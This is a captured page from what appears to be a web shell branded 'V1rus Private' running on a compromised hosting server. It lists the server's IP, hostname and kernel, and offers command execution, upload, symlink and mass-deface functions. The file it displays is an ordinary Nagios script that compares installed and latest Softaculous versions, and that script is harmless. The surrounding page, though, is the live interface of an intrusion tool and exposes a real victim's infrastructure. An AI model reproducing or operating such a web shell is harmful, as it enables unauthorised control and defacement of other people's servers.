V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_a2_softy_version.sh.shared.mvps.mdedi
#!/bin/bash # # Compare installed and latest version of Softaculous # Fetch latest version _latest_version=$(curl --silent "https://api.softaculous.com/updates.php?version=latest&panel=cpanel&in=json" | jq -r '.version' 2>/dev/null) # Fetch installed version _installed_version=$(/usr/local/cpanel/3rdparty/bin/php /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cli.php --version 2>/dev/null) _main(){ # Check if Softy is installed if [[ ! -d "/usr/local/cpanel/whostmgr/docroot/cgi/softaculous" ]]; then echo "Softaculous is not installed!" exit 2 fi # Compare versions using awk to handle decimal numbers if awk -v latest="${_latest_version}" -v installed="${_installed_version}" 'BEGIN{if (installed < latest) exit 0; exit 1}'; then echo "Softaculous version is outdated: ${_installed_version} (latest version is: ${_latest_version})" exit 2 else echo "Softaculous version is updated: ${_installed_version}" exit 0 fi # Save installed version and timestamp to the separate version cache echo "${_installed_version} $(date +%s)" > "${_version_cache}" } _main
Coded With 💗 by
HanzOFC